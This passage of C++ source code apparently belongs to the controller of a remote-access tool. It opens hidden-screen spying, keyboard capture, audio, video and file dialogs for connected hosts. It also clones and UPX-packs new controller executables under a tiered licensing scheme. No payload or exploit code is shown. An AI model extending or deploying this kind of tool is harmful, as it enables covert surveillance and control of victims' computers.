LRESULT CMy2015RemoteDlg::OnOpenSystemDialog(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
return OpenDialog<CSystemDlg, IDD_DIALOG_SYSTEM>(wParam, lParam);
|
||
}
|
||
|
||
LRESULT CMy2015RemoteDlg::OnOpenAudioDialog(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
return OpenDialog<CAudioDlg, IDD_DIALOG_AUDIO>(wParam, lParam);
|
||
}
|
||
|
||
LRESULT CMy2015RemoteDlg::OnOpenServicesDialog(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
return OpenDialog<CServicesDlg, IDD_DIALOG_SERVICES>(wParam, lParam);
|
||
}
|
||
|
||
LRESULT CMy2015RemoteDlg::OnOpenRegisterDialog(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
return OpenDialog<CRegisterDlg, IDD_DIALOG_REGISTER>(wParam, lParam);
|
||
}
|
||
|
||
LRESULT CMy2015RemoteDlg::OnOpenVideoDialog(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
return OpenDialog<CVideoDlg, IDD_DIALOG_VIDEO>(wParam, lParam);
|
||
}
|
||
|
||
LRESULT CMy2015RemoteDlg::OnOpenKeyboardDialog(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
return OpenDialog<CKeyBoardDlg, IDD_DLG_KEYBOARD>(wParam, lParam);
|
||
}
|
||
|
||
LRESULT CMy2015RemoteDlg::OnOpenProxyDialog(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
if (!ENABLE_HPSOCKET) {
|
||
ShowMessage("Operation Failed", "This feature is unavailable due to HPSocket disabled");
|
||
return S_OK;
|
||
}
|
||
return OpenDialog<CProxyMapDlg, IDD_PROXY>(wParam, lParam);
|
||
}
|
||
|
||
LRESULT CMy2015RemoteDlg::OnOpenHideScreenDialog(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
return OpenDialog<CHideScreenSpyDlg, IDD_SCREEN>(wParam, lParam);
|
||
}
|
||
|
||
LRESULT CMy2015RemoteDlg::OnOpenMachineManagerDialog(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
return OpenDialog<CMachineDlg, IDD_MACHINE>(wParam, lParam);
|
||
}
|
||
|
||
LRESULT CMy2015RemoteDlg::OnOpenChatDialog(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
return OpenDialog<CChat, IDD_CHAT>(wParam, lParam);
|
||
}
|
||
|
||
LRESULT CMy2015RemoteDlg::OnOpenDecryptDialog(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
return OpenDialog<DecryptDlg, IDD_DIALOG_DECRYPT>(wParam, lParam);
|
||
}
|
||
|
||
LRESULT CMy2015RemoteDlg::OnOpenFileMgrDialog(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
return OpenDialog<file::CFileManagerDlg, IDD_FILE_WINOS>(wParam, lParam);
|
||
}
|
||
|
||
LRESULT CMy2015RemoteDlg::OnOpenDrawingBoard(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
return OpenDialog<CDrawingBoard, IDD_DRAWING_BOARD>(wParam, lParam);
|
||
}
|
||
|
||
BOOL CMy2015RemoteDlg::OnHelpInfo(HELPINFO* pHelpInfo)
|
||
{
|
||
OnAbout();
|
||
return TRUE;
|
||
}
|
||
|
||
|
||
BOOL CMy2015RemoteDlg::PreTranslateMessage(MSG* pMsg)
|
||
{
|
||
if (pMsg->message == WM_KEYDOWN && pMsg->wParam == VK_RETURN) {
|
||
return TRUE;
|
||
}
|
||
|
||
// Ctrl+F 显示搜索栏
|
||
if (pMsg->message == WM_KEYDOWN && pMsg->wParam == 'F' &&
|
||
(GetKeyState(VK_CONTROL) & 0x8000)) {
|
||
if (!m_pSearchBar) {
|
||
m_pSearchBar = new CSearchBarDlg(this);
|
||
}
|
||
m_pSearchBar->Show();
|
||
return TRUE;
|
||
}
|
||
|
||
if ((pMsg->message == WM_LBUTTONDOWN || pMsg->message == WM_RBUTTONDOWN) && m_pFloatingTip) {
|
||
HWND hTipWnd = m_pFloatingTip->GetSafeHwnd();
|
||
if (::IsWindow(hTipWnd)) {
|
||
CPoint pt(pMsg->pt);
|
||
CRect tipRect;
|
||
::GetWindowRect(hTipWnd, &tipRect);
|
||
if (!tipRect.PtInRect(pt)) {
|
||
DeletePopupWindow(TRUE);
|
||
}
|
||
}
|
||
}
|
||
|
||
return __super::PreTranslateMessage(pMsg);
|
||
}
|
||
|
||
LRESULT CMy2015RemoteDlg::WindowProc(UINT message, WPARAM wParam, LPARAM lParam)
|
||
{
|
||
// WM_COMMAND 不计时
|
||
if (message == WM_COMMAND) {
|
||
return __super::WindowProc(message, wParam, lParam);
|
||
}
|
||
|
||
auto start = std::chrono::steady_clock::now();
|
||
|
||
LRESULT result = __super::WindowProc(message, wParam, lParam);
|
||
|
||
auto ms = std::chrono::duration_cast<std::chrono::milliseconds>(
|
||
std::chrono::steady_clock::now() - start).count();
|
||
|
||
if (ms > m_TraceTime) {
|
||
if (message >= WM_USER) {
|
||
Mprintf("[BLOCKED] WM_USER + %d 阻塞: %lld ms\n", message - WM_USER, ms);
|
||
} else {
|
||
Mprintf("[BLOCKED] MSG 0x%04X (%d) 阻塞: %lld ms\n", message, message, ms);
|
||
}
|
||
}
|
||
|
||
return result;
|
||
}
|
||
|
||
void CMy2015RemoteDlg::OnOnlineShare()
|
||
{
|
||
CInputDialog dlg(this);
|
||
dlg.Init(_TR("分享主机"), _TR("输入<IP:PORT>地址:"));
|
||
dlg.SetHistoryKey("ShareAddress");
|
||
if (dlg.DoModal() != IDOK || dlg.m_str.IsEmpty())
|
||
return;
|
||
if (dlg.m_str.GetLength() >= 250) {
|
||
MessageBoxL("字符串长度超出[0, 250]范围限制!", "提示", MB_ICONINFORMATION);
|
||
return;
|
||
}
|
||
CharMsg* buf = new CharMsg(dlg.m_str.GetLength()+1);
|
||
memcpy(buf->data, dlg.m_str, dlg.m_str.GetLength());
|
||
buf->data[dlg.m_str.GetLength()] = 0;
|
||
PostMessageA(WM_SHARE_CLIENT, (WPARAM)buf, NULL);
|
||
}
|
||
|
||
LRESULT CMy2015RemoteDlg::ShareClient(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
CharMsg* buf = (CharMsg*)wParam;
|
||
int len = strlen(buf->data);
|
||
BYTE bToken[_MAX_PATH] = { COMMAND_SHARE };
|
||
// 目标主机类型
|
||
bToken[1] = SHARE_TYPE_YAMA;
|
||
memcpy(bToken + 2, buf->data, len);
|
||
lParam ? SendAllCommand(bToken, sizeof(bToken)) : SendSelectedCommand(bToken, sizeof(bToken));
|
||
if(buf->needFree) delete buf;
|
||
return S_OK;
|
||
}
|
||
|
||
void CMy2015RemoteDlg::OnToolAuth()
|
||
{
|
||
CPwdGenDlg dlg;
|
||
std::string hardwareID = GetHardwareID();
|
||
std::string hashedID = hashSHA256(hardwareID);
|
||
std::string deviceID = getFixedLengthID(hashedID);
|
||
dlg.m_sDeviceID = deviceID.c_str();
|
||
dlg.m_sUserPwd = m_superPass.c_str();
|
||
|
||
dlg.DoModal();
|
||
|
||
if (!dlg.m_sUserPwd.IsEmpty() && !dlg.m_sPassword.IsEmpty()) {
|
||
m_superPass = dlg.m_sUserPwd;
|
||
if (deviceID.c_str() == dlg.m_sDeviceID) {
|
||
m_nMaxConnection = dlg.m_nHostNum;
|
||
THIS_APP->UpdateMaxConnection(m_nMaxConnection);
|
||
}
|
||
}
|
||
}
|
||
|
||
void CMy2015RemoteDlg::OnMainProxy()
|
||
{
|
||
EnterCriticalSection(&m_cs);
|
||
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
|
||
while (Pos) {
|
||
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
|
||
context* ContextObject = GetContextByListIndex(iItem);
|
||
if (!ContextObject) continue;
|
||
BYTE cmd[] = { COMMAND_PROXY };
|
||
ContextObject->Send2Client( cmd, sizeof(cmd));
|
||
break;
|
||
}
|
||
LeaveCriticalSection(&m_cs);
|
||
}
|
||
|
||
void CMy2015RemoteDlg::OnOnlineHostnote()
|
||
{
|
||
CInputDialog dlg(this);
|
||
dlg.Init(_TR("修改备注"), _TR("请输入主机备注: "));
|
||
if (dlg.DoModal() != IDOK || dlg.m_str.IsEmpty()) {
|
||
return;
|
||
}
|
||
if (dlg.m_str.GetLength() >= 64) {
|
||
MessageBoxL("备注信息长度不能超过64个字符", "提示", MB_ICONINFORMATION);
|
||
dlg.m_str = dlg.m_str.Left(63);
|
||
}
|
||
BOOL modified = FALSE;
|
||
uint64_t key = 0;
|
||
EnterCriticalSection(&m_cs);
|
||
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
|
||
while (Pos) {
|
||
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
|
||
context* ContextObject = GetContextByListIndex(iItem);
|
||
if (!ContextObject) continue;
|
||
m_ClientMap->SetClientMapData(ContextObject->GetClientID(), MAP_NOTE, dlg.m_str);
|
||
// 虚拟列表:刷新该行以显示新备注
|
||
m_CList_Online.RedrawItems(iItem, iItem);
|
||
modified = TRUE;
|
||
}
|
||
LeaveCriticalSection(&m_cs);
|
||
if (modified) {
|
||
m_ClientMap->SaveToFile(GetDbPath());
|
||
}
|
||
}
|
||
|
||
|
||
char* ReadFileToBuffer(const std::string &path, size_t& outSize)
|
||
{
|
||
// 打开文件
|
||
std::ifstream file(path, std::ios::binary | std::ios::ate); // ate = 跳到末尾获得大小
|
||
if (!file) {
|
||
return nullptr;
|
||
}
|
||
|
||
// 获取文件大小并分配内存
|
||
std::streamsize size = file.tellg();
|
||
file.seekg(0, std::ios::beg);
|
||
char* buffer = new char[size];
|
||
|
||
// 读取文件到 buffer
|
||
if (!file.read(buffer, size)) {
|
||
delete[] buffer;
|
||
return nullptr;
|
||
}
|
||
|
||
outSize = static_cast<size_t>(size);
|
||
return buffer;
|
||
}
|
||
|
||
//////////////////////////////////////////////////////////////////////////
|
||
// UPX
|
||
|
||
BOOL WriteBinaryToFile(const char* path, const char* data, ULONGLONG size, LONGLONG offset)
|
||
{
|
||
std::string filePath = path;
|
||
std::fstream outFile;
|
||
|
||
if (offset == 0) {
|
||
// offset=0 时截断文件,等同覆盖写入
|
||
outFile.open(filePath, std::ios::binary | std::ios::out | std::ios::trunc);
|
||
} else if (offset == -1) {
|
||
// offset=-1 时追加写入
|
||
outFile.open(filePath, std::ios::binary | std::ios::out | std::ios::app);
|
||
} else {
|
||
// 非0偏移,保留原内容,定位写入
|
||
outFile.open(filePath, std::ios::binary | std::ios::in | std::ios::out);
|
||
|
||
// 文件不存在时创建
|
||
if (!outFile) {
|
||
outFile.open(filePath, std::ios::binary | std::ios::out);
|
||
}
|
||
}
|
||
|
||
if (!outFile) {
|
||
Mprintf("Failed to open or create the file: %s.\n", filePath.c_str());
|
||
return FALSE;
|
||
}
|
||
|
||
// 追加模式不需要 seekp, 其他情况定位到指定位置
|
||
if (offset != -1) {
|
||
// 定位到指定位置
|
||
outFile.seekp(offset, std::ios::beg);
|
||
|
||
// 验证 seekp 是否成功
|
||
if (outFile.fail()) {
|
||
Mprintf("Failed to seek to offset %llu.\n", offset);
|
||
outFile.close();
|
||
return FALSE;
|
||
}
|
||
}
|
||
|
||
// 写入二进制数据
|
||
outFile.write(data, size);
|
||
|
||
if (outFile.good()) {
|
||
Mprintf("Binary data written successfully to %s.\n", filePath.c_str());
|
||
} else {
|
||
Mprintf("Failed to write data to file.\n");
|
||
outFile.close();
|
||
return FALSE;
|
||
}
|
||
|
||
outFile.close();
|
||
return TRUE;
|
||
}
|
||
|
||
int run_cmd(std::string cmdLine)
|
||
{
|
||
STARTUPINFOA si = { sizeof(si) };
|
||
si.dwFlags |= STARTF_USESHOWWINDOW;
|
||
si.wShowWindow = SW_HIDE;
|
||
|
||
PROCESS_INFORMATION pi = { 0 };
|
||
BOOL success = CreateProcessA(
|
||
NULL,
|
||
&cmdLine[0], // 注意必须是非 const char*
|
||
NULL, NULL, FALSE,
|
||
0, NULL, NULL, &si, &pi
|
||
);
|
||
|
||
if (!success) {
|
||
Mprintf("Failed to run UPX. Error: %d\n", GetLastError());
|
||
return -1;
|
||
}
|
||
|
||
WaitForSingleObject(pi.hProcess, INFINITE);
|
||
|
||
DWORD exitCode;
|
||
GetExitCodeProcess(pi.hProcess, &exitCode);
|
||
|
||
SAFE_CLOSE_HANDLE(pi.hProcess);
|
||
SAFE_CLOSE_HANDLE(pi.hThread);
|
||
|
||
return static_cast<int>(exitCode);
|
||
}
|
||
|
||
int run_upx(const std::string& upx, const std::string &file, bool isCompress)
|
||
{
|
||
std::string cmd = isCompress ? "\" --best \"" : "\" -d \"";
|
||
std::string cmdLine = "\"" + upx + cmd + file + "\"";
|
||
return run_cmd(cmdLine);
|
||
}
|
||
|
||
std::string ReleaseUPX()
|
||
{
|
||
return ReleaseEXE(IDR_BINARY_UPX, "upx.exe");
|
||
}
|
||
|
||
// 解压UPX对当前应用程序进行操作
|
||
bool UPXUncompressFile(const std::string& upx, std::string &file)
|
||
{
|
||
char path[MAX_PATH];
|
||
DWORD len = GetModuleFileNameA(NULL, path, MAX_PATH);
|
||
std::string curExe = path;
|
||
|
||
if (!upx.empty()) {
|
||
file = curExe + ".tmp";
|
||
if (!CopyFile(curExe.c_str(), file.c_str(), FALSE)) {
|
||
Mprintf("Failed to copy file. Error: %d\n", GetLastError());
|
||
return false;
|
||
}
|
||
int result = run_upx(upx, file, false);
|
||
// UPX 返回码: 0=成功, 1=错误, 2=警告(如文件未压缩)
|
||
// 0 和 2 视为成功(目标是得到未压缩的文件)
|
||
bool success = (result == 0 || result == 2);
|
||
Mprintf("UPX decompression %s! Code: %d.\n", success ? "successful" : "failed", result);
|
||
return success;
|
||
}
|
||
return false;
|
||
}
|
||
|
||
struct UpxTaskArgs {
|
||
HWND hwnd; // 主窗口句柄
|
||
std::string upx;
|
||
std::string file;
|
||
bool isCompress;
|
||
};
|
||
|
||
DWORD WINAPI UpxThreadProc(LPVOID lpParam)
|
||
{
|
||
UpxTaskArgs* args = (UpxTaskArgs*)lpParam;
|
||
int result = run_upx(args->upx, args->file, args->isCompress);
|
||
|
||
// 向主线程发送完成消息,wParam可传结果
|
||
PostMessageA(args->hwnd, WM_UPXTASKRESULT, (WPARAM)result, 0);
|
||
|
||
DeleteFile(args->upx.c_str());
|
||
delete args;
|
||
|
||
return 0;
|
||
}
|
||
|
||
void run_upx_async(HWND hwnd, const std::string& upx, const std::string& file, bool isCompress)
|
||
{
|
||
UpxTaskArgs* args = new UpxTaskArgs{ hwnd, upx, file, isCompress };
|
||
CloseHandle(CreateThread(NULL, 0, UpxThreadProc, args, 0, NULL));
|
||
}
|
||
|
||
LRESULT CMy2015RemoteDlg::UPXProcResult(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
int exitCode = static_cast<int>(wParam);
|
||
ShowMessage(exitCode == 0 ? _TR("操作成功"):_TR("操作失败"), _TR("UPX 处理完成"));
|
||
return S_OK;
|
||
}
|
||
|
||
//////////////////////////////////////////////////////////////////////////
|
||
|
||
// 生成下级代理所需的哈希头文件
|
||
bool GenerateHashHeaderFile(const std::string& headerPath,
|
||
const std::string& pwdHash, const Validation& verify,
|
||
const std::string& masterHash,
|
||
const FeatureFlags* newFlags = nullptr)
|
||
{
|
||
// 输入验证
|
||
if (pwdHash.length() != 64 || masterHash.length() != 64) {
|
||
Mprintf("错误: 哈希长度无效 (pwdHash=%d, masterHash=%d)\n",
|
||
(int)pwdHash.length(), (int)masterHash.length());
|
||
return false;
|
||
}
|
||
|
||
std::ofstream headerFile(headerPath);
|
||
if (!headerFile.is_open()) {
|
||
Mprintf("错误: 无法创建头文件 %s\n", headerPath.c_str());
|
||
return false;
|
||
}
|
||
|
||
// 构建完整的 g_MasterID 数组 (_MAX_PATH = 260 字节)
|
||
// 结构: [0-63] hash, [64-95] check32, [96-99] check4, [100-259] Validation
|
||
char masterIdArr[_MAX_PATH] = {};
|
||
WritePwdHash(masterIdArr, pwdHash, verify);
|
||
|
||
// 构建完整的 g_UpperHash 数组 (_MAX_PATH = 260 字节)
|
||
// 结构: [0-99] MASTER_HASH_STR + padding, [100-163] 64字节hash, [164-255] FeatureFlags
|
||
char upperHashArr[_MAX_PATH] = { MASTER_HASH_STR };
|
||
memcpy(upperHashArr + 100, masterHash.c_str(), 64);
|
||
if (newFlags) {
|
||
memcpy(upperHashArr + FEATURE_FLAGS_OFFSET, newFlags, sizeof(FeatureFlags));
|
||
}
|
||
|
||
// 找到最后一个非零字节的位置
|
||
auto findLastNonZero = [](const char* arr, int size) {
|
||
for (int i = size - 1; i >= 0; i--) {
|
||
if (arr[i] != 0) return i + 1;
|
||
}
|
||
return 1; // 至少返回1,避免空数组
|
||
};
|
||
int masterIdLen = findLastNonZero(masterIdArr, _MAX_PATH);
|
||
int upperHashLen = findLastNonZero(upperHashArr, _MAX_PATH);
|
||
|
||
// 输出字节数组的辅助函数
|
||
auto writeByteArray = [&headerFile](const char* arr, int len) {
|
||
for (int i = 0; i < len; i++) {
|
||
if (i % 16 == 0) headerFile << " ";
|
||
headerFile << "0x" << std::hex << std::setw(2) << std::setfill('0')
|
||
<< (unsigned int)(unsigned char)arr[i];
|
||
if (i < len - 1) headerFile << ", ";
|
||
if (i % 16 == 15 || i == len - 1) headerFile << "\n";
|
||
}
|
||
headerFile << std::dec;
|
||
};
|
||
|
||
headerFile << "// Auto-generated hash file for lower-level agent\n";
|
||
headerFile << "// Generated at: " << ToPekingTimeAsString(NULL) << "\n\n";
|
||
headerFile << "#pragma once\n\n";
|
||
headerFile << "#include <windows.h>\n";
|
||
headerFile << "#include \"common/hash.h\"\n\n";
|
||
// 输出 g_MasterID 字节数组(省略尾部零)
|
||
headerFile << "// 主控程序唯一标识\n";
|
||
headerFile << "// 密码的哈希值\n";
|
||
headerFile << "char g_MasterID[_MAX_PATH] = {\n";
|
||
writeByteArray(masterIdArr, masterIdLen);
|
||
headerFile << "};\n\n";
|
||
// 输出 g_UpperHash 字节数组(省略尾部零)
|
||
headerFile << "char g_UpperHash[_MAX_PATH] = {\n";
|
||
writeByteArray(upperHashArr, upperHashLen);
|
||
headerFile << "};\n\n";
|
||
|
||
// 输出功能标志注释(便于下级开发商了解限制)
|
||
if (newFlags && (newFlags->MenuFlags || newFlags->ToolbarFlags || newFlags->ContextFlags)) {
|
||
headerFile << "// Feature flags set for this level:\n";
|
||
headerFile << "// MenuFlags: 0x" << std::hex << std::setfill('0')
|
||
<< std::setw(16) << newFlags->MenuFlags << "\n";
|
||
headerFile << "// ToolbarFlags: 0x" << std::setw(16) << newFlags->ToolbarFlags << "\n";
|
||
headerFile << "// ContextFlags: 0x" << std::setw(16) << newFlags->ContextFlags
|
||
<< std::dec << "\n";
|
||
}
|
||
headerFile.close();
|
||
Mprintf("头文件已生成: %s\n", headerPath.c_str());
|
||
return true;
|
||
}
|
||
|
||
void CMy2015RemoteDlg::OnToolGenMaster()
|
||
{
|
||
// 主控程序公网IP(优先使用上级FRP配置)
|
||
std::string master;
|
||
int port;
|
||
GetEffectiveMasterAddress(master, port);
|
||
if (master.empty()) {
|
||
MessageBoxL("请通过菜单设置当前主控程序的公网地址(域名)! 此地址会写入即将生成的主控程序中。"
|
||
"\n只有正确设置公网地址,才能在线延长由本程序所生成的主控程序的有效期。", "提示", MB_ICONINFORMATION);
|
||
}
|
||
std::string masterHash(GetPwdHash());
|
||
std::string upperHash(GetMasterHash());
|
||
bool isSuperAdmin = (masterHash == upperHash);
|
||
const Validation* curValidation = GetValidation();
|
||
|
||
// 非超级管理员需要检查生成深度
|
||
if (!isSuperAdmin && !curValidation->CanGenerate()) {
|
||
MessageBoxL(_TR("当前主控程序没有生成下级主控的权限(MaxDepth=0)。\n请联系上级管理员获取授权。"),
|
||
_TR("权限不足"), MB_ICONWARNING);
|
||
return;
|
||
}
|
||
|
||
if (m_superPass.empty()) {
|
||
CInputDialog pass(this);
|
||
pass.Init(_TR("主控生成"), _TR("当前主控程序的密码:"));
|
||
pass.m_str = m_superPass.c_str();
|
||
if (pass.DoModal() != IDOK || pass.m_str.IsEmpty())
|
||
return;
|
||
if (hashSHA256(pass.m_str.GetBuffer()) != masterHash) {
|
||
MessageBoxL("密码不正确,无法生成主控程序!", "错误", MB_ICONWARNING);
|
||
return;
|
||
}
|
||
m_superPass = pass.m_str.GetString();
|
||
}
|
||
|
||
// 收集生成参数:深度、密码、天数
|
||
unsigned short newMaxDepth = 0;
|
||
CString newPassword, newDays;
|
||
|
||
if (isSuperAdmin) {
|
||
// 超级管理员:3个输入框(深度、密码、天数)
|
||
CInputDialog dlg(this);
|
||
dlg.Init(_TR("生成主控"), _TR("可生成的最大层数:"));
|
||
dlg.m_str = "1";
|
||
dlg.Init2(_TR("新主控程序密码:"), "");
|
||
dlg.Init3(_TR("使用天数:"), "365");
|
||
if (dlg.DoModal() != IDOK)
|
||
return;
|
||
|
||
int inputDepth = atoi(dlg.m_str);
|
||
if (inputDepth < 0) inputDepth = 0;
|
||
if (inputDepth > 255) inputDepth = 255;
|
||
newMaxDepth = (unsigned short)inputDepth;
|
||
newPassword = dlg.m_sSecondInput;
|
||
newDays = dlg.m_sThirdInput;
|
||
} else {
|
||
// 非超级管理员:深度递减,2个输入框(密码、天数)
|
||
newMaxDepth = curValidation->MaxDepth - 1;
|
||
|
||
CInputDialog dlg(this);
|
||
dlg.Init(_TR("生成主控"), _TR("新主控程序密码:"));
|
||
dlg.Init2(_TR("使用天数:"), "365");
|
||
if (dlg.DoModal() != IDOK)
|
||
return;
|
||
|
||
newPassword = dlg.m_str;
|
||
newDays = dlg.m_sSecondInput;
|
||
}
|
||
|
||
// 验证输入
|
||
if (newPassword.IsEmpty()) {
|
||
MessageBoxL(_TR("密码不能为空。"), _TR("错误"), MB_ICONWARNING);
|
||
return;
|
||
}
|
||
if (newPassword.GetLength() > 15) {
|
||
MessageBoxL(_TR("密码长度不能大于15。"), _TR("错误"), MB_ICONWARNING);
|
||
return;
|
||
}
|
||
if (newDays.IsEmpty()) {
|
||
MessageBoxL(_TR("使用天数不能为空。"), _TR("错误"), MB_ICONWARNING);
|
||
return;
|
||
}
|
||
|
||
// 功能限制对话框
|
||
CFeatureLimitsDlg limitsDlg(this);
|
||
const FeatureFlags* inherited = GetFeatureFlags();
|
||
if (inherited) {
|
||
limitsDlg.SetInheritedFlags(inherited);
|
||
}
|
||
if (limitsDlg.DoModal() != IDOK)
|
||
return;
|
||
|
||
size_t size = 0;
|
||
char path[MAX_PATH];
|
||
DWORD len = GetModuleFileNameA(NULL, path, MAX_PATH);
|
||
if (len == 0 || len == MAX_PATH) {
|
||
return;
|
||
}
|
||
char* curEXE = ReadFileToBuffer(path, size);
|
||
if (curEXE == nullptr) {
|
||
MessageBoxL("读取文件失败! 请稍后再次尝试。", "错误", MB_ICONWARNING);
|
||
return;
|
||
}
|
||
std::string pwdHash = hashSHA256(newPassword.GetString());
|
||
// 使用 GetFinderString 生成更长的搜索模式,避免匹配到 .rdata 段的字符串字面量
|
||
std::string finder = GetFinderString(masterHash.c_str());
|
||
int iOffset = MemoryFind(curEXE, finder.c_str(), size, finder.length());
|
||
std::string upx = ReleaseUPX();
|
||
if (iOffset == -1) {
|
||
SAFE_DELETE_ARRAY(curEXE);
|
||
std::string tmp;
|
||
if (!UPXUncompressFile(upx, tmp) || nullptr == (curEXE = ReadFileToBuffer(tmp.c_str(), size))) {
|
||
MessageBoxL("操作文件失败! 请稍后再次尝试。", "错误", MB_ICONWARNING);
|
||
if (!upx.empty()) DeleteFile(upx.c_str());
|
||
if (!tmp.empty()) DeleteFile(tmp.c_str());
|
||
return;
|
||
}
|
||
DeleteFile(tmp.c_str());
|
||
iOffset = MemoryFind(curEXE, finder.c_str(), size, finder.length());
|
||
if (iOffset == -1) {
|
||
SAFE_DELETE_ARRAY(curEXE);
|
||
MessageBoxL("操作文件失败! 请稍后再次尝试。", "错误", MB_ICONWARNING);
|
||
return;
|
||
}
|
||
}
|
||
std::string id = genHMAC(pwdHash, m_superPass);
|
||
Validation verify(atof(newDays), master.c_str(), port<=0 ? 6543 : port, id.c_str(), newMaxDepth);
|
||
if (!WritePwdHash(curEXE + iOffset, pwdHash, verify)) {
|
||
MessageBoxL("写入哈希失败! 无法生成主控。", "错误", MB_ICONWARNING);
|
||
SAFE_DELETE_ARRAY(curEXE);
|
||
return;
|
||
}
|
||
// 准备功能标志(在块外定义,便于后续传递给头文件生成函数)
|
||
FeatureFlags featureFlags = {};
|
||
memcpy(featureFlags.Version, FEATURE_FLAGS_VERSION, 4);
|
||
featureFlags.MenuFlags = limitsDlg.GetMenuFlags();
|
||
featureFlags.ToolbarFlags = limitsDlg.GetToolbarFlags();
|
||
featureFlags.ContextFlags = limitsDlg.GetContextFlags();
|
||
|
||
char str[100] = {}, markArr[] = { MASTER_HASH_STR };
|
||
memcpy(str, markArr, sizeof(markArr));
|
||
if (-1 != (iOffset = MemoryFind(curEXE, str, size, sizeof(str)))) {
|
||
memcpy(curEXE + iOffset + 100, masterHash.c_str(), 64);
|
||
curEXE[iOffset + 100 + 64] = '\0'; // 确保 null 终止
|
||
|
||
// 写入功能标志到 g_UpperHash[164-255]
|
||
memcpy(curEXE + iOffset + FEATURE_FLAGS_OFFSET, &featureFlags, sizeof(featureFlags));
|
||
}
|
||
else {
|
||
Mprintf("警告: 在主控程序中未找到 MASTER_HASH_STR 标记,无法写入主控哈希。\n");
|
||
}
|
||
CComPtr<IShellFolder> spDesktop;
|
||
HRESULT hr = SHGetDesktopFolder(&spDesktop);
|
||
if (FAILED(hr)) {
|
||
MessageBoxL("Explorer 未正确初始化! 请稍后再试。", "提示", MB_ICONINFORMATION);
|
||
SAFE_DELETE_ARRAY(curEXE);
|
||
return;
|
||
}
|
||
// 过滤器:显示所有文件和特定类型文件(例如文本文件)
|
||
CFileDialog fileDlg(FALSE, _T("exe"), BRAND_EXE_NAME, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT,
|
||
_T("EXE Files (*.exe)|*.exe|All Files (*.*)|*.*||"), AfxGetMainWnd());
|
||
int ret = 0;
|
||
try {
|
||
ret = fileDlg.DoModal();
|
||
} catch (...) {
|
||
MessageBoxL("文件对话框未成功打开! 请稍后再试。", "提示", MB_ICONINFORMATION);
|
||
SAFE_DELETE_ARRAY(curEXE);
|
||
return;
|
||
}
|
||
if (ret == IDOK) {
|
||
CString name = fileDlg.GetPathName();
|
||
CFile File;
|
||
BOOL r = File.Open(name, CFile::typeBinary | CFile::modeCreate | CFile::modeWrite);
|
||
if (!r) {
|
||
MessageBoxL(_TR("主控程序创建失败!") + "\r\n" + name, "提示", MB_ICONWARNING);
|
||
SAFE_DELETE_ARRAY(curEXE);
|
||
return;
|
||
}
|
||
File.Write(curEXE, size);
|
||
File.Close();
|
||
|
||
// 生成头文件,包含下级代理所需的哈希信息(固定文件名,下级只需替换此文件)
|
||
std::string headerPath = std::string(name.GetString());
|
||
size_t slashPos = headerPath.find_last_of("\\/");
|
||
if (slashPos != std::string::npos) {
|
||
headerPath = headerPath.substr(0, slashPos + 1) + "generated_hash.h";
|
||
} else {
|
||
headerPath = "generated_hash.h";
|
||
}
|
||
GenerateHashHeaderFile(headerPath, pwdHash, verify, masterHash, &featureFlags);
|
||
|
||
CString depthInfo;
|
||
depthInfo.Format(_TR("\r\n生成深度: %d (可继续生成%d层下级)"), newMaxDepth, newMaxDepth);
|
||
if (!upx.empty()) {
|
||
#ifndef _DEBUG // DEBUG 模式用UPX压缩的程序可能无法正常运行
|
||
run_upx_async(GetSafeHwnd(), upx, name.GetString(), true);
|
||
MessageBoxL(_TR("正在UPX压缩,请关注信息提示。") + "\r\n" + _TR("文件位于: ") + name + depthInfo, "提示", MB_ICONINFORMATION);
|
||
#endif
|
||
} else
|
||
MessageBoxL(_TR("生成成功! 文件位于:") + "\r\n" + name + depthInfo, "提示", MB_ICONINFORMATION);
|
||
}
|
||
Mprintf("主控程序生成: PwdHash= %s HMAC= %s MaxDepth= %d. UpperHash: %s.\n", pwdHash.c_str(), id.c_str(), newMaxDepth, masterHash.c_str());
|
||
SAFE_DELETE_ARRAY(curEXE);
|
||
}
|
||
|
||
|
||
void CMy2015RemoteDlg::OnHelpImportant()
|
||
{
|
||
const char* msg =
|
||
"本软件以“现状”提供,不附带任何保证。使用本软件的风险由用户自行承担。"
|
||
"我们不对任何因使用本软件而引发的非法或恶意用途负责。用户应遵守相关法律"
|
||
"法规,并负责任地使用本软件。开发者对任何因使用本软件产生的损害不承担责任。";
|
||
MessageBoxL(_L(msg), "免责声明", MB_ICONINFORMATION);
|
||
}
|
||
|
||
|
||
void CMy2015RemoteDlg::OnHelpFeedback()
|
||
{
|
||
CString content = THIS_CFG.GetStr("settings", "FeedbackUrl", BRAND_URL_FEEDBACK).c_str();
|
||
if (content.Left(4).CompareNoCase(_T("http")) == 0) {
|
||
ShellExecute(NULL, _T("open"), content, NULL, NULL, SW_SHOWNORMAL);
|
||
} else {
|
||
MessageBoxL(content, _TR("反馈"), MB_ICONINFORMATION);
|
||
}
|
||
}
|
||
|
||
void CMy2015RemoteDlg::OnDynamicSubMenu(UINT nID)
|
||
{
|
||
if (m_DllList.size() == 0) {
|
||
MessageBoxL(_L("请将64位的DLL放于主控程序的 'Plugins' 目录,再来点击此项菜单。")+
|
||
_L("\n执行未经测试的代码可能造成程序崩溃。"), "提示", MB_ICONINFORMATION);
|
||
char path[_MAX_PATH];
|
||
GetModuleFileNameA(NULL, path, _MAX_PATH);
|
||
GET_FILEPATH(path, "Plugins");
|
||
m_DllList = ReadAllDllFilesWindows(path);
|
||
return;
|
||
}
|
||
int menuIndex = nID - ID_DYNAMIC_MENU_BASE; // 计算菜单项的索引(基于 ID)
|
||
